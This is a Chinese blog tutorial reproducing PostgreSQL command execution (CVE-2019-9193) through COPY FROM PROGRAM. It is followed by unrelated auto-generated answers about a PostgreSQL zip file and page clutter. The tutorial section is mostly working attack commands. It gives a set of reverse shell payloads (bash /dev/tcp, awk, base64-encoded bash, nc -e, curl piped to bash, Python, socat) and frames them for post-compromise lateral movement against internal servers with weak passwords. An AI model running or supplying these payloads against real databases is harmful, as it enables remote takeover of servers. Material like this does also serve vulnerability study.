PostgreSQL任意命令执行(CVE-2019-9193)

前言:

        PostgreSQL是一个功能强大的开源对象关系型数据库系统,他使用和扩展了SQL语言,并结合了许多安全存储和扩展最复杂数据工作负载的功能,并且相较于mysql其稳定性要更好。

        漏洞触发的原因是由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

复现:

        我们使用kali即可,首先我们可以使用命令启动PostgreSQL:

                service postgresql start

         启动成功后使用命令链接启动的postgresql:

                psql -U postgres -h 127.0.0.1

        启动成功后就可以使用下面的命令进行复现,首先我们使用select version ();查看数据库版本是否> = 9.3

        当版本符合要求后,使用如下命令,命令主要功能为创建一个表,然后调用COPY TO/FROM PROGRAM功能来执行命令

CREATE TABLE run_shell(shell_output text);
COPY run_shell FROM PROGRAM 'id';
SELECT * FROM run_shell; 

        

         可以看到可以成功执行命令,然后我们尝试反弹一个shell。

COPY run_shell FROM PROGRAM 'bash -i >& /dev/tcp/127.0.0.1/1122 0>&1';

         这里我们使用的是kali系统,当我们使用下面的一句话反弹shell的时候会报错:

         这是因为kali默认是没开bash的网络重定向选项,我们可以使用如下方法开启,需要去下载bash源代码,然后修改configure然后make编译才可:

cd <bash source directory>
sudo su
./configure --enable-net-redirections
make
make install

        如果被攻击系统为ubuntu或者同样关闭了bash网络重定向的时候应该如何,这里可以使用awk,注意这里转义需要添加E:

COPY run_shell FROM PROGRAM E'awk \'BEGIN {s = "/inet/tcp/0/127.0.0.1/1122"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null';

 当然可以转为后台服务,在命令后添加&,转为后台服务,防止被以外关闭。

或者使用如下反弹shell也可以:

COPY run_shell FROM PROGRAM  E'bash -c \'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTEyMiAwPiYx}|{base64,-d}|{bash,-i}\'';

COPY run_shell FROM PROGRAM 'nc -e /bin/bash 127.0.0.1 1122';

COPY run_shell FROM PROGRAM 'curl 127.0.0.1/bash.html|bash';  -->>>bash.html里写(bash -i >& /dev/tcp/127.0.0.1/1122 0>&1)

COPY run_shell FROM PROGRAM E'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1122));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'';

COPY run_shell FROM PROGRAM E'socat exec:\'bash -li\',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:1122';

总结:

        该漏洞属于PostgreSQL添加的命令执行功能,但是需要我们能够登录到PostgreSQL系统,需要有账号密码才可以进行,这个漏洞在外网暴露面基本不太可能碰到,但是在我们拿下web服务器,或者通过病毒拿下内网机器后在对内网扫描后,如果发现PostgreSQL存在弱口令时可以利用该漏洞拿下服务器shell,如果权限较低则需要根据内核版本或配置缺陷进行提权。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: postgresql10.0_x64-haosq.zip是一个文件名,它表示的是一个带有哈斯克编译器的64位PostgreSQL 10.0版本的压缩包。 PostgreSQL是一个功能强大且可扩展的开源关系数据库管理系统。它支持多种操作系统,包括Windows、Linux和Mac OS等。在这个压缩包中,"x64"表示支持64位操作系统,"haosq"可能是压缩包的创建者或者对该版本进行了某种修改。 要安装该版本的PostgreSQL,首先需要解压缩这个压缩包。然后,可以按照官方提供的安装指南进行安装和配置。在安装完成后,可以通过命令行或者可视化界面工具来管理和使用PostgreSQL数据库PostgreSQL 10.0版本在性能、安全性和功能方面有很多改进和新增的特性。其中包括改进的并行查询处理、逻辑复制、数据分区、JSONB索引等等。这些功能可以提升数据库的性能和灵活性,使其更适合处理复杂的数据工作负载。 总之,postgresql10.0_x64-haosq.zip是一个64位的PostgreSQL 10.0版本的压缩包,你可以使用它来安装和配置这个强大的开源数据库管理系统。 ### 回答2: postgresql10.0_x64-haosq.zip是一个PostgreSQL数据库的安装文件。PostgreSQL是一个开源的关系型数据库管理系统,具有高度稳定性和可靠性,广泛应用于各种规模的应用程序和网站开发中。 这个压缩文件中的x64表示适用于64位操作系统的安装版本。haosq是一个识别码,可能是某个发行版本的标识或个人定制版本的命名。 安装PostgreSQL通常需要以下步骤:首先,解压缩haosq.zip文件到你希望安装的目录。然后,运行安装文件来启动安装向导,按照向导的指示完成安装过程。在安装过程中,你可以选择安装的组件和配置选项,例如选择安装PostgreSQL服务器、客户端和相关工具、选择安装位置等。安装完成后,你需要配置数据库的初始设置,例如设置用户名、密码、监听地址和端口等。 安装完成后,你可以使用PostgreSQL提供的命令行工具或者可视化管理工具来管理数据库。你可以创建数据库、创建表和索引、执行SQL查询、导入导出数据等。PostgreSQL还支持事务和并发控制,提供了各种高级功能和扩展。 总之,postgresql10.0_x64-haosq.zip是一个PostgreSQL数据库的安装文件,通过它可以方便地安装和使用PostgreSQL数据库

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值